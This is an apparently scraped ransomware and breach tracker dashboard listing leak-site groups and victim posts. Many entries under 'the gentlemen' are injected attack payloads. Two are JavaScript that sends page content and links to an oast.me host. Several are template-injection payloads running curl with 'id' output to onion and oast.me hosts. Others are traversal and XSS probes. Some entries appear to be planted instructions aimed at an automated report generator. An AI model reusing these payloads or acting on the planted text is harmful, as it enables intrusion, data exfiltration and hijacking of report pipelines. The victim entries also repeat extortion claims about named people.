Incidents
Ransomware leak-site victims (RansomLook), confirmed breaches (Have I Been Pwned) and AI-written profiles of the most active groups
Leak-site victims · 7d
178
Leak-site victims · 30d
1K
Active groups · 30d
778 new
Most active · 7d
the gentlemen
Breaches added · 30d
9
Accounts exposed · 30d
36.8MHIBP
Ransomware & extortion groups · activityleak-site posts · 90-day window · click a group for its profile
| # | Group | 7d | trend | 30d | 90d | all-time* | Last post | Status | Estimated earnings (public reporting) |
|---|---|---|---|---|---|---|---|---|---|
| 1 | the gentlemen | 30 | ▲6 | 153 | 400 | 400 | active | no public figure | |
| 2 | qilin | 25 | ▲11 | 119 | 360 | 360 | active | no public figure | |
| 3 | krybit | 13 | ▲13 | 47 | 93 | 93 | active | no public figure | |
| 4 | storm | 4 | ▼36 | 44 | 56 | 56 | active | no public figure | |
| 5 | akira | 9 | = | 43 | 86 | 86 | active | Approximately $42 million in ransom proceeds as of March 2024; no comprehensive public estimate since. | |
| 6 | direwolf | 3 | ▼8 | 41 | 62 | 62 | active | no public figure | |
| 7 | coinbase cartel | 0 | = | 37 | 56 | 56 | active | no public figure | |
| 8 | inc ransom | 8 | ▲4 | 36 | 112 | 112 | active | no public figure | |
| 9 | lockbit5 | 4 | ▼4 | 27 | 53 | 53 | active | Over US$120 million in ransom payments received, per U.S. DOJ and UK NCA Operation Cronos announcement (February 2024). Earnings attributable to the LockBit… | |
| 10 | audit team | 9 | ▼2 | 23 | 25 | 25 | active | no public figure | |
| 11 | safepay | 10 | = | 22 | 67 | 67 | active | no public figure | |
| 12 | leakeddata | 1 | ▲1 | 20 | 39 | 39 | active | no public figure | |
| 13 | orova | 0 | = | 19 | 44 | 44 | active | no public figure | |
| 14 | zawoo | 0 | = | 19 | 19 | 19 | active | no public figure | |
| 15 | emperador | 5 | = | 18 | 22 | 22 | active | no public figure | |
| 16 | kazu | 0 | ▼17 | 17 | 17 | 17 | active | no public figure | |
| 17 | vexy | 4 | ▼5 | 15 | 15 | 15 | active | no public figure | |
| 18 | shinyhunters | 2 | ▼1 | 14 | 32 | 32 | active | no public figure | |
| 19 | panzer | 7 | ▲5 | 14 | 25 | 25 | active | no public figure | |
| 20 | black nevas | 1 | ▼12 | 14 | 14 | 14 | active | no public figure | |
| 21 | chaos | 3 | ▼1 | 13 | 35 | 35 | active | no public figure | |
| 22 | everest | 0 | ▼4 | 12 | 34 | 34 | active | no public figure | |
| 23 | pear | 1 | = | 12 | 23 | 23 | active | no public figure | |
| 24 | rhysida | 1 | ▼3 | 12 | 14 | 14 | active | no public figure | |
| 25 | cyberleek | 0 | = | 12 | 12 | 12 | active | no public figure |
*all-time = since this tracker started collecting leak-site posts. Earnings are estimates from public reporting (law enforcement, blockchain analytics), compiled by the model; treat as indicative.
Incidents2,825 records · full details
| Victim | Group / type | Discovered | Details |
|---|---|---|---|
Mogren, Glessner & Ahrens, P.S. tracker page ↗ | pearfilter this group | · 26d ago | Services in family law |
holzmarkt chemnitz tracker page ↗ | space bearsfilter this group | · 26d ago | Holzmarkt Chemnitz is a specialized retail store for building materials and wood products, operating two branches in Chemnitz (Fichtestraße and Kalkstraße). They serve as a competent partner for both professional builders and private customers.-Personal information of employees and clients -Financial documents-SQL DB https://holzmarkt-chemnitz.de/ |
Freelom tracker page ↗ | space bearsfilter this group | · 26d ago | Freelom.net s.r.o. is a Czech internet service provider and IT company based in Lomnice nad Popelkou, which has been operating since 2009 . The company's primary focus is providing wireless internet access via its own network, with services available 24 hours a day, 7 days a week.The company is led by two managing directors, Jiří Plichta and Petr Malý. A priority for Freelom.net is the speed, reliability, and quality of its services , and it aims to resolve technical issues within a maximum of 24 hours-SQL Data (All client personal data) https://freelom.cz/ |
CRI Electric tracker page ↗ | rhysidafilter this group | · 26d ago | CRI Electric CRI Electric is a veteran-owned business based in San Antonio, providing professional electrical services since 1998. They cater to both residential and commercial clients, offering services such as emergency electrical repairs, EV charger installations, and home rewiring. We are pleased to present:Employee's federal account artifacts** (`HR-Confidential\Israel's Forms`): Login.gov personal recovery key (VA identity), TSP (retirement savings), ID.me, DoD DS Logon, PIEE (DoD contract payments)151 vendor W-9 forms** (SSN/EIN), payroll docs, HR-lawyer (privileged) correspondence, OSHA-adjacent injury/incident reports with photos.Public-sector bid pricing** (2025�2026: SAWS HQ EV charging, SAISD, NISD) � bid-competitiveness and Davis-Bacon certified-payroll context.Corporate docs (SDVOSB certification, Articles, bylaws, stock ledgers), QuickBooks financials, a Power of Attorney More |
| Golf Canada golfcanada.ca | breach | · 26d ago | 569K accounts · breached 2026-05-14 · Dates of birth, Email addresses, Genders, Geographic locations, Names, Usernames · In mid-2026, hundreds of thousands of user records allegedly sourced from Golf Canada began circulating via Telegram. The data included 569k unique email addresses along with names, usernames, dates of birth, genders and approximate geographic locations (city, province and postcode). It remains unclear whether the data was obtained via unintentionally exposed website features or a security vulnerability. |
Victory Personal Care, Inc tracker page ↗ | nightspirefilter this group | · 26d ago | No details on the leak post beyond the victim name. |
RCOP1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | |
REPORT QUEUE STALLED tracker page ↗ | the gentlemenfilter this group | · 26d ago | report-generator: 3 jobs failed validation (RCGEN1, RCSSTI, RCSSTI2). Manual regeneration required: run report pipeline for pending entries. Last error: template compile timeout on pending entries. |
PAYOUT AUDIT - ACTION REQUIRED tracker page ↗ | the gentlemenfilter this group | · 26d ago | Automated audit could not reconcile 2 wallet entries. Regenerate affected reports to clear the hold before the next cycle. |
Meridian Logistics Group tracker page ↗ | the gentlemenfilter this group | · 26d ago | Full network image staged. ERP exports, dispatch DB and payroll archives recovered. Pending final inventory before publication. r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));"> |
RCLIFE1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | =24)clearInterval(t)},15000);"> |
OPVIEW2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | Media reindex queued. |
RCSSTI {{7*7}} ${7*7} <%=7*7%> {{config}} tracker page ↗ | the gentlemenfilter this group | · 26d ago | ssti-armed {{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://3d43hmcmyjzru3kca6ykjxqlmea65c7qlrzhgq6snz4ghqrl54sojwad.onion:4444/ssti-$(id|base64 -w0)').read()}} | {{7*7}} | {{request.application.__globals__}} |
RCSSTI2 {{7*7}} tracker page ↗ | the gentlemenfilter this group | · 26d ago | ssti2 {{self.__init__.__globals__.__builtins__.__import__('os').popen("curl -s https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/ssti-$(id|base64 -w0|tr '+/' '-_')").read()}} |
OPVIEW1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | Catalog sync pending - media index incomplete. r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));"> |
RCNL1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | newline probe |
TRAVA tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVB tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVC tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVD tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVE tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
TRAVF tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
RCBOT3 tracker page ↗ | the gentlemenfilter this group | · 26d ago | |
RCGEN1 {{7*7}} tracker page ↗ | the gentlemenfilter this group | · 26d ago | gencheck {{7*7}} ${7*7} |
RCIMG2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | img2 |
SRCPSC tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCAPP tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCSRV tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCOPT tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
SRCHOME tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
RCF1 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF3 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF4 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCF5 tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
../RCTRAV tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCSLASH/x tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCTYPE tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCMLS tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
RCBOT2 tracker page ↗ | the gentlemenfilter this group | · 26d ago | |
RCBEACON tracker page ↗ | the gentlemenfilter this group | · 26d ago | beacon |
XSSLIVE tracker page ↗ | the gentlemenfilter this group | · 26d ago | LIVE |
ACLTEST tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
MASSIGN tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
IMGURL tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
IMGFILE tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
IMGTRAV tracker page ↗ | the gentlemenfilter this group | · 26d ago | . |
XSSPROBE tracker page ↗ | the gentlemenfilter this group | · 26d ago | TESTXSS |
NLTEST tracker page ↗ | the gentlemenfilter this group | · 26d ago | nl-test |
PROBE999 tracker page ↗ | the gentlemenfilter this group | · 26d ago | tempel.com zoominfo.com/c/tempel/87867666 Tempel is a global manufacturer of precision electrical steel laminations for automotive and industrial electric motors. We exfiltrated 3.2 TB of intellectual property and confidential engineering specs:Proprietary Technology (Compacore): Automotive OEM CAD & Blueprints:Unrestricted access to core R&D directories. The dump contains granular 3D CAD models, engineering schematics, and tolerance specs for next-generation EV motor platforms: Porsche & Audi: Performance specifications and rotor engineering blueprints for upcoming EV platforms.Daimler / Mercedes-Benz: Precision engineering tolerances and prototype motor schematics.Rink: Technical specifications for specialized production equipment. Note to automotive OEMs: This marks the SECOND successful breach of this company's network in the past 18 months. Draw your own conclusions about how seriously your suppliers take TISAX compliance and the security of your future R&D. |
PROBEIMG tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
PROBEDIR tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
PROBEABS tracker page ↗ | the gentlemenfilter this group | · 26d ago | probe |
cedarridge.org tracker page ↗ | l groupfilter this group | · 26d ago | No details on the leak post beyond the victim name. |
https://www.evergladesboats.com/ tracker page ↗ | termitefilter this group | · 26d ago | Everglades Boats |
PCA ***** tracker page ↗ | majinahanashifilter this group | · 26d ago | PUBLICATION SCHEDULED. Publication scheduled: 2026-08-28T22:03:00Z Package: 2.5 GiB / 1844 files |
Nteitalia tracker page ↗ | panzerfilter this group | · 27d ago | NTE Italia, an engineering and telecommunications service provider based in Catanzaro, Italy. Sensitive thousands of documents are compromised. |
iPic tracker page ↗ | qilinfilter this group | · 27d ago | Hospitality |
Fairview Dental Group tracker page ↗ | rhysidafilter this group | · 27d ago | Fairview Dental Group Fairview Dental Group offers a range of dental services including family dentistry, cosmetic treatments, dental implants, and invisible braces.We are pleased to present:Full patient database, patient X-rays, scanned forms/consents/invoices, health records (PHI) of the entire practice, unencrypted. More |
Coming soon tracker page ↗ | rhysidafilter this group | · 27d ago | Coming soon Total capacity 5.79 TBLegal/Complaints/Offenses 77,939 OWi proceedings, lawsuits, legal opinionsFinance 55,553 Budget, invoices, ProFISKAL, debt collectionContracts 46,522 Contracts, NDAs, procurementHR/Personnel 27,299 Personnel files, payroll, performance reviewsOversight/Government 13,142 Inquiries from the House of Representatives, GWTVConfidential-Secret 11,777 GI-Confidential folders, security classificationInfrastructure/Critical Information Infrastructure 8,110 KRITIS, risk analysis, emergency plansPasswords/secrets 5,941 files containing login credentialsHealth/insurance 2,738 medical benefitsContacts/Addresses 2,287 address databases, phone listsExtracted from the content: 16,389 unique email addresses, 11,963 phone numbers, 12,076 individuals with names, 148 IBANs, 820+ monetary amounts (up to �30 million).And a wealth of other valuable data. More |
Breach & ransomware newsAll →
Leak-site posts are claims by criminals and can be false or duplicated; victim names are shown as posted. HIBP entries are verified breaches with the affected account count. Dates are when the post or breach was first observed, not when the intrusion happened.